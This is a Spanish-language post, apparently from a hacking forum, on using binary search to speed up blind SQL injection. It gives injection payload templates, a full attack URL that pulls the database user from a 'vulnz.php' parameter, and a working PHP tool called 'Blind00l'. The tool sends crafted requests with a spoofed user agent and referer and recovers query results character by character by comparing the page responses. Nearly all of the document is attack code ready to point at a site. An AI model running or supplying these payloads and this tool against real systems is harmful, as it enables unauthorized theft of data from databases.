Busqueda Binaria Aplicada a las Blind SQL Injection by OzX

+and+ (SELECT+IF ((ARREGLO), (RESTRICCION_1), false)) —

select+case+(ascii(mid((CONSULTA),SUBSTRING,1))+RESTRICCION_1)+when+true+then+(true)+else+false+end

      select+user()

http://www.host.com/vulnz.php?id=1+and+(SELECT+IF((select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+122)+when+true+then+(true)+else+false+end),(select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+77)+when+true+then+(true)+else+false+end),false))--

<?php
#Optimizando las Blind SQL INjection
#Blind00l 0.1 P0C Busqueda BInaria Aplicadas a las Blind SQL Injection
#7 Peticiones para Encontrar 1 Valor.
#Codeado Por OzX Undersecurity.net
#Undersecurity.net

	function contar($url) {
		$curl = curl_init();
		
	 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		$header[] = "Cache-Control: max-age=0";
		$header[] = "Connection: keep-alive";
		$header[] = "Keep-Alive: 300";
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
		$header[] = "Accept-Language: en-us,en;q=0.5";
	 	curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
		curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 10);
		$html = curl_exec($curl);
		#$cantidad_linea = count(explode("\n",$html));#al pasar a chr(32) funciona en localhost
		$cantidad_linea = count(explode(chr(32),$html));
		$cantidad_space = str_word_count($html);
		unset($html,$header);
	return array($cantidad_linea,$cantidad_space);
	}
	
	function between($nodo_base){
		preg_match_all("/BETWEEN\+(\d+)\+AND\+(\d+)/i",$nodo_base,$salida, PREG_PATTERN_ORDER);
		unset($nodo_base);
		return array($salida[1][0],$salida[2][0]);
	}
	function binary($nodo_base){#busqueda Binaria
			list($start,$finish) =  between($nodo_base);
			$diferencia = $finish-$start;
			$suma = intval($start+(($diferencia)/2)); 
			$nodo_true = "BETWEEN+$start+AND+$suma";
			unset($start);
			$suma = intval((($diferencia%2)!=0) ? $suma + 1 : $suma);
			unset($diferencia);
			$nodo_false = "BETWEEN+".$suma."+AND+".$finish; 
			unset($suma,$finish);
	return array($nodo_true,$nodo_false);
	}
	
	

	function recursivo_query($nodo_base,$web,$query,$substring,$original_linea,$original_space){
		list($start,$finish) =  between($nodo_base);
		echo "\t[-]ENTRE : ".chr($start)."-".chr($finish)."\n";
		$valor = blind00l($web,$query,$substring,$nodo_base,$original_linea,$original_space);
		return $valor;
	}
	
	function blind00l($web,$query,$substring,$nodo_base,$original_linea,$original_space){
		list($start,$finish) =  between($nodo_base);
		
		if ($start == $finish){
			unset($web,$query,$substring,$nodo_base,$original_linea,$original_space);
				if ($start == 0){
					echo "FINAL DE LA CADENA\n";
				}else{
					echo "\n";
					return chr($start);
				}
		}else{
			list($nodo_true,$nodo_false) = binary($nodo_base);
			$url = $web."+and+(SELECT+IF((select+case+(ascii(mid((".$query."),".$substring.",1))+".$nodo_base.")+when+true+then+(true)+else+false+end)";
			$url .= ",(select+case+(ascii(mid((".$query."),".$substring.",1))+".$nodo_true.")+when+true+then+(true)+else+false+end),false))--";
			list($cantidad_linea,$cantidad_space) = contar($url);
				if (($original_linea == $cantidad_linea) || ($original_space == $cantidad_space)){
					$valor = recursivo_query($nodo_true,$web,$query,$substring,$original_linea,$original_space);
					return $valor;
				}else{
					$valor = recursivo_query($nodo_false,$web,$query,$substring,$original_linea,$original_space);
					return $valor;
				}
		}
	}
	
	function usage(){
	echo "-web = URL WEB \n";
	echo "\t -web 'http://www.web.com/vulnz.php?id=3\n'";
	echo "-q = QUERY \n";
	echo "\t -q 'select+database()'\n";
	echo "-sub = SUBSTRING \n";
	echo "\t -sub 1\n";
	echo "EJEMPLO : \n";
	echo " -web 'http://www.web.com/vulnz.php?id=3' -q 'select+database()' -sub 1 \n";
	
	}
	
	function existe_curl(){
		if (!extension_loaded('curl_init') || !function_exists('curl_init')) {
			return true;
		}else{
			return false;
		}
	}
	


	$op_web = $argv[1];
	$op_query = $argv[3];
	$op_mid = $argv[5];
	
	#print_r($argv);
	if (existe_curl()===true){
		if ($argc == 7){
			if ($op_web == '-web'){
				$web = $argv[2];
				echo "WEB :> ".$web."\n";
			}
			if($op_query == '-q'){
				$query = $argv[4];
				echo "QUERY :>".$query."\n";
			}
			if($op_mid == '-sub'){
				$substring = $argv[6];	
				echo "MID :> ".$substring."\n";
			}
	
				$nodo_base = "BETWEEN+0+AND+122";#Toda la Tabla ASCII, se Incorpora el 0 para encontrar el final de la cadena. NULL
				list($original_linea,$original_space) = contar($web);
				$starttime=time();
				echo "[*]VALORES DE COMPARACION ORIGINALES : ".$original_linea."-".$original_space."\n";
				$valor = blind00l($web,$query,$substring,$nodo_base,$original_linea,$original_space)."\n";
				echo "\tCARACTER ENCONTRADO :  ".$valor."\n";
				$endtime=time();
				$difftime=$endtime - $starttime;
				echo "SEGUNDOS TOTALES  :  ".$difftime."\n";
		}else{
		echo "FALTAN PARAMETROS\n";
		usage();
		}
	}else{
		echo "No Tienes Curl Instalado \n";
	}
	

?>